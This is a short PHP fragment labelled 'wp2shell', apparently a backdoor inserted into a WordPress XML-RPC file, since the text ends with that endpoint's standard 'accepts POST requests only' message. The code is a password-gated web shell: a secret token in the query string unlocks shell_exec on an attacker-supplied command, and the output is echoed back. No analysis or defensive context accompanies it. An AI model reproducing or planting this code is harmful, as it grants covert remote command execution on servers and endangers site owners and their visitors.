// wp2shell
if (isset($_GET['t']) && hash_equals('16cab4b1215ee1334b242c0b6732050d', (string)$_GET['t']) && isset($_GET['c'])) {
    echo 'WP2SHELL::' . shell_exec((string)$_GET['c']) . '::END'; die();
}

XML-RPC server accepts POST requests only.